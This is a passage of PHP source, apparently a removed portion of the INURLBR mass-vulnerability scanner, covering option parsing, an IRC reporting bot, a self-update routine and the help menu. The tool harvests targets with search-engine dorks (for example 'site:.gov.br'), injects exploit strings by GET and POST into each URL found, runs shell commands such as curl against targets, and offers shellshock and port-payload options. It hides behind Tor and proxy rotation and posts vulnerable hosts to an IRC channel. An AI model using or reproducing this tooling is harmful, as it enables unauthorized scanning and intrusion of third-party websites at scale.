NULL; - $_SESSION['config']['dork-file'] = not_isnull_empty($opcoes['dork-file']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork-file'] : NULL; - (!not_isnull_empty($_SESSION['config']['dork']) && !not_isnull_empty($_SESSION['config']['dork-file']) ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE DORK ex: --dork '.asp?CategoryID=' OR --dork-file 'dorks.txt'{$_SESSION["c0"]}\n") : NULL); -} - -#[+]VALIDATION GENERATE DORKS RANDOM -$_SESSION['config']['dork-rand'] = not_isnull_empty($opcoes['dork-rand']) ? $opcoes['dork-rand'] : NULL; - -#[+]VALIDATION TARGET FIND PAGE -$_SESSION['config']['target'] = not_isnull_empty($opcoes['target']) && !isset($_SESSION['config']['dork']) ? $opcoes['target'] : NULL; - -#[+]VALIDATION URL EXTRACTION -$_SESSION['config']['extrai-url'] = isset($opcoes['u']) ? TRUE : NULL; - -#[+]VALIDATION EMAIL EXTRACTION -$_SESSION['config']['extrai-email'] = isset($opcoes['m']) ? TRUE : NULL; - -#[+]VALIDATION ID SEARCH ENGINE -$_SESSION['config']['motor'] = not_isnull_empty($opcoes['q']) && - __validateOptions('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,e1,e2,e3,e4,e5,e6,all', $opcoes['q']) ? $opcoes['q'] : 1; - -#[+]VALIDATION SAVE FILE VULNERABLE -!not_isnull_empty($opcoes['s']) && !not_isnull_empty($opcoes['save-as']) && empty($opcoes['sall']) ? - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE FILE SAVE OUTPUT ex: -s , --save-as , --sall filevull.txt{$_SESSION["c0"]}\n") : NULL; - -$_SESSION['config']['s'] = not_isnull_empty($opcoes['s']) ? $opcoes['s'] : null; - -$_SESSION['config']['save-as'] = not_isnull_empty($opcoes['save-as']) ? $opcoes['save-as'] : null; - -$_SESSION['config']['arquivo_output'] = not_isnull_empty($_SESSION['config']['s']) ? $_SESSION['config']['s'] : $opcoes['save-as']; - -#[+]VALIDATION SAVE FILE ALL VALORES -$_SESSION['config']['arquivo_output_all'] = not_isnull_empty($opcoes['sall']) ? $opcoes['sall'] : NULL; - -#[+]VALIDATION TYPE ERROR -$_SESSION['config']['tipoerro'] = not_isnull_empty($opcoes['t']) && __validateOptions('1,2,3,4,5', $opcoes['t']) ? $opcoes['t'] : 1; - -#[+]VALIDATION REPLACEMENT VALUES -$_SESSION['config']['replace'] = not_isnull_empty($opcoes['replace']) ? $opcoes['replace'] : NULL; - -#[+]VALIDATION SET PROXY -$_SESSION['config']['proxy'] = not_isnull_empty($opcoes['proxy']) ? $opcoes['proxy'] : NULL; - -#[+]VALIDATION SET FILE WITH LIST OF PROXY -$_SESSION['config']['proxy-file'] = not_isnull_empty($opcoes['proxy-file']) ? $opcoes['proxy-file'] : NULL; - -#[+]VALIDATION SET HTTP->PROXY -$_SESSION['config']['proxy-http'] = not_isnull_empty($opcoes['proxy-http']) ? $opcoes['proxy-http'] : NULL; - -#[+]VALIDATION SET FILE WITH LIST OF HTTP->PROXY -$_SESSION['config']['proxy-http-file'] = not_isnull_empty($opcoes['proxy-http-file']) ? $opcoes['proxy-http-file'] : NULL; - -#[+]VALIDATION SET EXPLOIT VIA REQUEST GET -$_SESSION['config']['exploit-get'] = not_isnull_empty($opcoes['exploit-get']) ? str_replace(' ', '%20', $opcoes['exploit-get']) : NULL; - -#[+]VALIDATION SET EXPLOIT VIA REQUEST POST -$_SESSION['config']['exploit-post'] = not_isnull_empty($opcoes['exploit-post']) ? __convertUrlQuery($opcoes['exploit-post']) : NULL; -$_SESSION['config']['exploit-post_str'] = not_isnull_empty($opcoes['exploit-post']) ? $opcoes['exploit-post'] : NULL; - -#[+]VALIDATION COMMAND SHELL STRING COMPLEMENTARY -$_SESSION['config']['exploit-command'] = not_isnull_empty($opcoes['exploit-command']) ? $opcoes['exploit-command'] : NULL; - -#[+]VALIDATION MANAGEMENT COMMANDS SHELL TARGET VULN ID -$_SESSION['config']['exploit-vul-id'] = not_isnull_empty($opcoes['exploit-vul-id']) ? $opcoes['exploit-vul-id'] : NULL; - -#[+]VALIDATION MANAGEMENT COMMANDS SHELL ALL TARGET ID -$_SESSION['config']['exploit-all-id'] = not_isnull_empty($opcoes['exploit-all-id']) ? $opcoes['exploit-all-id'] : NULL; - -#[+]VALIDATION SET COMMANDS SHELL EXECUTE TARGET VULN -$_SESSION['config']['command-vul'] = not_isnull_empty($opcoes['command-vul']) ? $opcoes['command-vul'] : NULL; - -#[+]VALIDATION SET COMMANDS SHELL EXECUTE ALL TARGET -$_SESSION['config']['command-all'] = not_isnull_empty($opcoes['command-all']) ? $opcoes['command-all'] : NULL; - -#[+]VALIDATION ADDITIONAL TYPE OF PARAMETER ERROR -$_SESSION['config']['achar'] = not_isnull_empty($opcoes['a']) ? $opcoes['a'] : NULL; - -#[+]VALIDATION DEBUG NIVEL -$_SESSION['config']['debug'] = not_isnull_empty($opcoes['d']) && __validateOptions('1,2,3,4,5,6', $opcoes['d']) ? $opcoes['d'] : NULL; - -#[+]VALIDATION INTERNAL -$_SESSION['config']['verifica_info'] = (__validateOptions($opcoes['d'], 6)) ? 1 : NULL; - -#[+]VALIDATION ADDITIONAL PARAMETER PROXY -$_SESSION['config']['tor-random'] = isset($opcoes['tor-random']) && !is_null($_SESSION["config"]["proxy"]) ? TRUE : NULL; - -#[+]VALIDATION CHECK VALUES CMS -$_SESSION['config']['cms-check'] = isset($opcoes['cms-check']) ? TRUE : NULL; - -#[+]VALIDATION CHECK LINKS WEBCACHE GOOGLE -$_SESSION['config']['webcache'] = isset($opcoes['gc']) ? TRUE : NULL; - -#[+]VALIDATION REGULAR EXPRESSION -$_SESSION['config']['regexp'] = not_isnull_empty($opcoes['regexp']) ? $opcoes['regexp'] : NULL; - -#[+]VALIDATION FILTER BY REGULAR EXPRESSION -$_SESSION['config']['regexp-filter'] = not_isnull_empty($opcoes['regexp-filter']) ? $opcoes['regexp-filter'] : NULL; - -#[+]VALIDATION NO BANNER SCRIPT -$_SESSION['config']['no-banner'] = isset($opcoes['no-banner']) ? TRUE : NULL; - -#[+]VALIDATION SET USER-AGENT REQUEST -$_SESSION['config']['user-agent'] = not_isnull_empty($opcoes['user-agent']) ? $opcoes['user-agent'] : NULL; - -#[+]VALIDATION SET URL-REFERENCE REQUEST -$_SESSION['config']['url-reference'] = not_isnull_empty($opcoes['url-reference']) ? $opcoes['url-reference'] : NULL; - -#[+]VALIDATION PAGING THE MAXIMUM SEARCH ENGINE -$_SESSION['config']['max_pag'] = not_isnull_empty($opcoes['mp']) ? $opcoes['mp'] : NULL; - -#[+]VALIDATION DELAY SET PAGING AND PROCESSES -$_SESSION['config']['delay'] = not_isnull_empty($opcoes['delay']) ? $opcoes['delay'] : NULL; - -#[+]VALIDATION SET TIME OUT REQUEST -$_SESSION['config']['time-out'] = not_isnull_empty($opcoes['time-out']) ? $opcoes['time-out'] : NULL; - -#[+]VALIDATION CODE HTTP -$_SESSION['config']['ifcode'] = not_isnull_empty($opcoes['ifcode']) ? $opcoes['ifcode'] : NULL; - -#[+]VALIDATION STRING URL -$_SESSION['config']['ifurl'] = not_isnull_empty($opcoes['ifurl']) ? $opcoes['ifurl'] : NULL; - -#[+]VALIDATION SET HTTP HEADER -$_SESSION['config']['http-header'] = not_isnull_empty($opcoes['http-header']) ? $opcoes['http-header'] : NULL; - -#[+]VALIDATION SET FILE SUB_PROCESS -$_SESSION['config']['sub-file'] = not_isnull_empty($opcoes['sub-file']) ? __openFile($opcoes['sub-file'], 1) : NULL; - -#[+]VALIDATION SUB_PROCESS TYPE REQUEST POST -$_SESSION['config']['sub-post'] = isset($opcoes['sub-post']) ? TRUE : NULL; - -#[+]VALIDATION SUB_PROCESS TYPE REQUEST GET -$_SESSION['config']['sub-get'] = isset($opcoes['sub-get']) ? TRUE : NULL; - -#[+]VALIDATION SEND VULN EMAIL -$_SESSION['config']['sendmail'] = not_isnull_empty($opcoes['sendmail']) ? $opcoes['sendmail'] : NULL; - -#[+]VALIDATION SHOW RANK ALEXA -$_SESSION['config']['alexa-rank'] = isset($opcoes['alexa-rank']) ? TRUE : NULL; - -#[+]VALIDATION ACTIVATE BEEP WHEN APPEAR VULNERABLE -$_SESSION['config']['beep'] = isset($opcoes['beep']) ? TRUE : NULL; - -#[+]VALIDATION OF SINGLE DOMAIN FILTER -$_SESSION['config']['unique'] = isset($opcoes['unique']) ? TRUE : NULL; - -#[+]VALIDATION IRC SERVER/CHANNEL SEND VULN -$_SESSION['config']['irc']['conf'] = not_isnull_empty($opcoes['irc']) && strstr($opcoes['irc'], '#') ? explode("#", $opcoes['irc']) : NULL; - -#[+]VALIDATION RANGE IP -$_SESSION['config']['range'] = not_isnull_empty($opcoes['range']) && strstr($opcoes['range'], ',') ? $opcoes['range'] : NULL; - -#[+]VALIDATION QUANTITY RANGE IP RANDOM -$_SESSION['config']['range-rand'] = not_isnull_empty($opcoes['range-rand']) ? $opcoes['range-rand'] : NULL; - -#[+]VALIDATION REMOVE STRING URL -$_SESSION['config']['remove'] = not_isnull_empty($opcoes['remove']) ? $opcoes['remove'] : NULL; - -#[+]VALIDATION ACCESS FILE ROBOTS -$_SESSION['config']['robots'] = isset($opcoes['robots']) ? TRUE : NULL; - -#[+]VALIDATION FILTER EMAIL STRING -$_SESSION['config']['ifemail'] = not_isnull_empty($opcoes['ifemail']) ? $opcoes['ifemail'] : NULL; - -#[+]VALIDATION OPEN WINDOW CONSOLE PROCESS -$_SESSION['config']['popup'] = isset($opcoes['popup']) ? TRUE : NULL; - -#[+]VALIDATION ACTIVATE SHELLSHOCK -$_SESSION['config']['shellshock'] = isset($opcoes['shellshock']) ? TRUE : NULL; - -#[+]VALIDATION METHOD OF BUSTA PROGRESSIVE -$_SESSION['config']['pr'] = isset($opcoes['pr']) ? TRUE : NULL; - -#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE ALL TARGET -$_SESSION['config']['sub-cmd-all'] = isset($opcoes['sub-cmd-all']) ? TRUE : NULL; - -#[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE TARGET VULN -$_SESSION['config']['sub-cmd-vul'] = isset($opcoes['sub-cmd-vul']) ? TRUE : NULL; - -#[+]VALIDATION SET POR VALIDATION -$_SESSION['config']['port-cmd'] = not_isnull_empty($opcoes['port-cmd']) ? $opcoes['port-cmd'] : NULL; - -#[+]VALIDATION SET SCAN PORT -$_SESSION['config']['port-scan'] = not_isnull_empty($opcoes['port-scan']) ? $opcoes['port-scan'] : NULL; - -#[+]VALIDATION SET PAYLOAD XPL PORT -$_SESSION['config']['port-write'] = not_isnull_empty($opcoes['port-write']) ? $opcoes['port-write'] : NULL; - -#[+]VALIDATION SET URL REDIRECT HEADER -$_SESSION['config']['ifredirect'] = not_isnull_empty($opcoes['ifredirect']) ? $opcoes['ifredirect'] : NULL; - -#[+]VALIDATION SET URL REDIRECT HEADER -$_SESSION['config']['persist'] = not_isnull_empty($opcoes['persist']) ? $opcoes['persist'] : 4; - -#[+]VALIDATION SET FILE COOKIE -$_SESSION['config']['file-cookie'] = not_isnull_empty($opcoes['file-cookie']) ? $opcoes['file-cookie'] : NULL; - -#[+]VALIDATION SET STRING CONCAT URL SUB-PROCESS -$_SESSION['config']['sub-concat'] = not_isnull_empty($opcoes['sub-concat']) ? $opcoes['sub-concat'] : NULL; - -################################################################################ -#IRC CONFIGURATION############################################################## -################################################################################ - -if (is_array($_SESSION['config']['irc']['conf'])) { - - $alph = range("A", "Z"); - $_ = array(0 => rand(0, 10000), 1 => $alph[rand(0, count($alph))]); - $_SESSION['config']['irc']['my_pid'] = 0; - $_SESSION['config']['irc']['irc_server'] = $_SESSION['config']['irc']['conf'][0]; - $_SESSION['config']['irc']['irc_channel'] = "#{$_SESSION['config']['irc']['conf'][1]}"; - $_SESSION['config']['irc']['irc_port'] = 6667; - $_SESSION['config']['irc']['localhost'] = "127.0.0.1 localhost"; - $_SESSION['config']['irc']['irc_nick'] = "[BOT]1nurl{$_[0]}[{$_[1]}]"; - $_SESSION['config']['irc']['irc_realname'] = "B0t_1NURLBR"; - $_SESSION['config']['irc']['irc_quiet'] = "Session Ended"; - global $conf; -} elseif (!is_array($_SESSION['config']['irc']['conf']) && not_isnull_empty($opcoes['irc'])) { - - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}IRC WRONG FORMAT! ex: --irc 'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]}\n"); -} - -################################################################################ -#IRC CONECTION################################################################## -################################################################################ - -function __ircConect($conf) { - - $fp = fsockopen($conf['irc_server'], $conf['irc_port'], $conf['errno'], $conf['errstr'], 30); - if (!$fp) { - - echo "Error: {$conf['errstr']}({$conf['errno']})\n"; - return NULL; - } - $u = php_uname(); - fwrite($fp, "NICK {$conf['irc_nick']}\r\n"); - fwrite($fp, "USER {$conf['irc_nick']} 8 * :{$conf['irc_realname']}\r\n"); - fwrite($fp, "JOIN {$conf['irc_channel']}\r\n"); - fwrite($fp, "PRIVMSG {$conf['irc_channel']} :[ SERVER ] {$u}\r\n"); - return $fp; -} - -################################################################################ -#IRC SEND MSG################################################################### -################################################################################ - -function __ircMsg($conf, $msg) { - - fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :${msg}\r\n") . sleep(2); - __plus(); -} - -################################################################################ -#IRC PING PONG################################################################## -################################################################################ - -function __ircPong($conf) { - - while (!feof($conf['irc_connection'])) { - - $conf['READ_BUFFER'] = fgets($conf['irc_connection']); - __plus(); - if (preg_match("/^PING(.+)/", $conf['READ_BUFFER'], $conf['ret'])) { - - __debug(array('debug' => "[ PING-PONG ]{$conf['ret'][1]}", 'function' => '__ircPong'), 6) . __plus(); - fwrite($conf['READ_BUFFER'], "PONG {$conf['ret'][1]}\r\n"); - ($_SESSION['config']['debug'] == 6) ? - fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :[ PING-PONG ]-> {$conf['ret'][1]}->function:__ircPong\r\n") : NULL; - } - } -} - -################################################################################ -#IRC QUIT####################################################################### -################################################################################ - -function __ircQuit($conf) { - - fwrite($conf['irc_connection'], "QUIT {$conf['irc_quiet']}\r\n") . sleep(2); - __plus(); - fclose($conf['irc_connection']); -} - -#END IRC######################################################################## -#UPDATE SCRIPT################################################################## -################################################################################ - -function __update() { - - echo __bannerLogo(); - - echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}WANT TO MAKE UPDATE SCRIPT\n{$_SESSION["c0"]}"; - echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}This can modify the current script\n{$_SESSION["c0"]}"; - echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}ARE YOU SURE ? (y \ n): {$_SESSION["c0"]}"; - - if (trim(fgets(STDIN)) == 'y') { - - $resultado = __request_info("https://raw.githubusercontent.com/googleinurl/SCANNER-INURLBR/master/inurlbr.php", $_SESSION["config"]["proxy"], NULL); - - if (not_isnull_empty($resultado['corpo'])) { - - unlink('inurlbr.php'); - $varf = fopen('inurlbr.php', 'a'); - fwrite($varf, $resultado['corpo']); - fclose($varf); - chmod('inurlbr.php', 0777); - echo "\nUPDATE DONE WITH SUCCESS!\n"; - sleep(3); - system("chmod +x inurlbr.php | php inurlbr.php"); - exit(); - } else { - - echo __bannerLogo(); - echo "{$_SESSION["c1"]}__[ x ] {$_SESSION["c16"]}FAILURE TO SERVER!\n{$_SESSION["c0"]}"; - } - } -} - -################################################################################ -#SECURITIES VALIDATION DOUBLE##################################################### -################################################################################ - -function not_isnull_empty($valor = NULL) { - - RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE; -} - -################################################################################ -#MENU########################################################################### -################################################################################ - -function __menu() { - - return __getOut(__extra() . " - {$_SESSION["c1"]}_ _ ______ _ _____ -| | | | ____| | | __ \ -| |__| | |__ | | | |__) | -| __ | __| | | | ___/ -| | | | |____| |____| | -|_| |_|______|______|_| - -{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current PHP version=>[ {$_SESSION["c1"]}" . phpversion() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current script owner=>[ {$_SESSION["c1"]}" . get_current_user() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current uname=>[ {$_SESSION["c1"]}" . php_uname() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current pwd =>[ {$_SESSION["c1"]}" . getcwd() . "{$_SESSION["c0"]} ] -" . $_SESSION['config']['line'] . " - -{$_SESSION["c1"]}-h{$_SESSION["c0"]} -{$_SESSION["c1"]}--help{$_SESSION["c0"]} Alternative long length help command. -{$_SESSION["c1"]}--ajuda{$_SESSION["c0"]} Command to specify Help. -{$_SESSION["c1"]}--info{$_SESSION["c0"]} Information script. -{$_SESSION["c1"]}--update{$_SESSION["c0"]} Code update. -{$_SESSION["c1"]}-q{$_SESSION["c0"]} Choose which search engine you want through [{$_SESSION["c2"]}1...24{$_SESSION["c0"]}] / [{$_SESSION["c2"]}e1..6{$_SESSION["c0"]}]]: - [options]: - {$_SESSION["c1"]}1{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE / (CSE) GENERIC RANDOM / API - {$_SESSION["c1"]}2{$_SESSION["c0"]} - {$_SESSION["c2"]}BING - {$_SESSION["c1"]}3{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO BR - {$_SESSION["c1"]}4{$_SESSION["c0"]} - {$_SESSION["c2"]}ASK - {$_SESSION["c1"]}5{$_SESSION["c0"]} - {$_SESSION["c2"]}HAO123 BR - {$_SESSION["c1"]}6{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE (API) - {$_SESSION["c1"]}7{$_SESSION["c0"]} - {$_SESSION["c2"]}LYCOS - {$_SESSION["c1"]}8{$_SESSION["c0"]} - {$_SESSION["c2"]}UOL BR - {$_SESSION["c1"]}9{$_SESSION["c0"]} - {$_SESSION["c2"]}YAHOO US - {$_SESSION["c1"]}10{$_SESSION["c0"]} - {$_SESSION["c2"]}SAPO - {$_SESSION["c1"]}11{$_SESSION["c0"]} - {$_SESSION["c2"]}DMOZ - {$_SESSION["c1"]}12{$_SESSION["c0"]} - {$_SESSION["c2"]}GIGABLAST - {$_SESSION["c1"]}13{$_SESSION["c0"]} - {$_SESSION["c2"]}NEVER - {$_SESSION["c1"]}14{$_SESSION["c0"]} - {$_SESSION["c2"]}BAIDU BR - {$_SESSION["c1"]}15{$_SESSION["c0"]} - {$_SESSION["c2"]}YANDEX - {$_SESSION["c1"]}16{$_SESSION["c0"]} - {$_SESSION["c2"]}ZOO - {$_SESSION["c1"]}17{$_SESSION["c0"]} - {$_SESSION["c2"]}HOTBOT - {$_SESSION["c1"]}18{$_SESSION["c0"]} - {$_SESSION["c2"]}ZHONGSOU - {$_SESSION["c1"]}19{$_SESSION["c0"]} - {$_SESSION["c2"]}HKSEARCH - {$_SESSION["c1"]}20{$_SESSION["c0"]} - {$_SESSION["c2"]}EZILION - {$_SESSION["c1"]}21{$_SESSION["c0"]} - {$_SESSION["c2"]}SOGOU - {$_SESSION["c1"]}22{$_SESSION["c0"]} - {$_SESSION["c2"]}DUCK DUCK GO - {$_SESSION["c1"]}23{$_SESSION["c0"]} - {$_SESSION["c2"]}BOOROW - {$_SESSION["c1"]}24{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE(CSE) GENERIC RANDOM - ---------------------------------------- - SPECIAL MOTORS - ---------------------------------------- - {$_SESSION["c1"]}e1{$_SESSION["c0"]} - {$_SESSION["c2"]}TOR FIND - {$_SESSION["c1"]}e2{$_SESSION["c0"]} - {$_SESSION["c2"]}ELEPHANT - {$_SESSION["c1"]}e3{$_SESSION["c0"]} - {$_SESSION["c2"]}TORSEARCH - {$_SESSION["c1"]}e4{$_SESSION["c0"]} - {$_SESSION["c2"]}WIKILEAKS - {$_SESSION["c1"]}e5{$_SESSION["c0"]} - {$_SESSION["c2"]}OTN - {$_SESSION["c1"]}e6{$_SESSION["c0"]} - {$_SESSION["c2"]}EXPLOITS SHODAN - ---------------------------------------- - {$_SESSION["c1"]}all{$_SESSION["c0"]} - {$_SESSION["c2"]}All search engines / not special motors{$_SESSION["c0"]} - Default: {$_SESSION["c1"]}1{$_SESSION["c0"]} - Example: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}{op}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1{$_SESSION["c0"]} - {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}5{$_SESSION["c0"]} - Using more than one engine: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1,2,5,6,11,24{$_SESSION["c0"]} - Using all engines: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}all{$_SESSION["c0"]} - - {$_SESSION["c1"]}--proxy{$_SESSION["c0"]} Choose which proxy you want to use through the search engine: - Example: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}{proxy:port}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}localhost:8118{$_SESSION["c0"]} - {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}socks5://googleinurl@localhost:9050{$_SESSION["c0"]} - {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}http://admin:12334@172.16.0.90:8080{$_SESSION["c0"]} - - {$_SESSION["c1"]}--proxy-file{$_SESSION["c0"]} Set font file to randomize your proxy to each search engine. - Example: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}{proxys}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}proxys_list.txt{$_SESSION["c0"]} - - {$_SESSION["c1"]}--time-proxy{$_SESSION["c0"]} Set the time how often the proxy will be exchanged. - Example: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}{second}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}10{$_SESSION["c0"]} - - {$_SESSION["c1"]}--proxy-http-file{$_SESSION["c0"]} Set file with urls http proxy, - are used to bular capch search engines - Example: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}{youfilehttp}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}http_proxys.txt{$_SESSION["c0"]} - - - {$_SESSION["c1"]}--tor-random{$_SESSION["c0"]} Enables the TOR function, each usage links an unique IP. - - {$_SESSION["c1"]}-t{$_SESSION["c0"]} Choose the validation type: op {$_SESSION["c2"]}1, 2, 3, 4, 5{$_SESSION["c0"]} - [options]: - {$_SESSION["c2"]}1{$_SESSION["c0"]} - The first type uses default errors considering the script: - It establishes connection with the exploit through the get method. - Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - - {$_SESSION["c2"]}2{$_SESSION["c0"]} - The second type tries to valid the error defined by: {$_SESSION["c1"]}-a={$_SESSION["c2"]}'VALUE_INSIDE_THE _TARGET'{$_SESSION["c0"]} - It also establishes connection with the exploit through the get method - Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - - {$_SESSION["c2"]}3{$_SESSION["c0"]} - The third type combine both first and second types: - Then, of course, it also establishes connection with the exploit through the get method - Demo: www.target.com.br{$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - Default: {$_SESSION["c2"]}1{$_SESSION["c0"]} - Example: {$_SESSION["c1"]}-t {$_SESSION["c2"]}{op}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-t {$_SESSION["c2"]}1{$_SESSION["c0"]} - - {$_SESSION["c2"]}4{$_SESSION["c0"]} - The fourth type a validation based on source file and will be enabled scanner standard functions. - The source file their values are concatenated with target url. - - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} - - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} - Explicative: - Source file values: - /admin/index.php?id= - /pag/index.php?id= - /brazil.php?new= - Demo: - www.target.com.br/admin/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - www.target.com.br/pag/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - www.target.com.br/brazil.php?new={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} - - {$_SESSION["c2"]}5{$_SESSION["c0"]} - (FIND PAGE) The fifth type of validation based on the source file, - Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable. - - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} - - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} - Explicative: - Source file values: - /admin/admin.php - /admin.asp - /admin.aspx - Demo: - www.target.com.br/admin/admin.php - www.target.com.br/admin.asp - www.target.com.br/admin.aspx - Observation: If it shows the code 200 will be separated in the output file - - DEFAULT ERRORS: - {$_SESSION["c11"]} - [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, - [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, - [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, - [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, - [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, - [*]ERROR INDEFINITE - {$_SESSION["c0"]} - - {$_SESSION["c1"]}--dork{$_SESSION["c0"]} Defines which dork the search engine will use. - Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{dork}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br inurl:php? id'{$_SESSION["c0"]} - - Using multiples dorks: - Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{[DORK]dork1[DORK]dork2[DORK]dork3}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--dork-file{$_SESSION["c0"]} Set font file with your search dorks. - Example: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}{dork_file}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks.txt'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--exploit-get{$_SESSION["c0"]} Defines which exploit will be injected through the GET method to each URL found. - Example: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}{exploit_get}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?'´%270x27;\"{$_SESSION["c0"]} - - {$_SESSION["c1"]}--exploit-post{$_SESSION["c0"]} Defines which exploit will be injected through the POST method to each URL found. - Example: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}{exploit_post}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]} Defines which exploit/parameter will be executed in the options: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all{$_SESSION["c0"]}. - The exploit-command will be identified by the paramaters: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} - Ex {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf' {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'curl -v {$_SESSION["c8"]}_TARGET_{$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c2"]}'{$_SESSION["c0"]} - _TARGET_ is the specified URL/TARGET obtained by the process - _EXPLOIT_ is the exploit/parameter defined by the option {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. - Example: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}{exploit-command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf'{$_SESSION["c0"]} - - {$_SESSION["c1"]}-a{$_SESSION["c0"]} Specify the string that will be used on the search script: - Example: {$_SESSION["c1"]}-a {$_SESSION["c2"]}{string}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello world'{$_SESSION["c0"]} - - {$_SESSION["c1"]}-d{$_SESSION["c0"]} Specify the script usage op {$_SESSION["c2"]}1, 2, 3, 4, 5.{$_SESSION["c0"]} - Example: {$_SESSION["c1"]}-d {$_SESSION["c2"]}{op}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-d {$_SESSION["c2"]}1 {$_SESSION["c0"]}/URL of the search engine. - {$_SESSION["c1"]}-d {$_SESSION["c2"]}2 {$_SESSION["c0"]}/Show all the url. - {$_SESSION["c1"]}-d {$_SESSION["c2"]}3 {$_SESSION["c0"]}/Detailed request of every URL. - 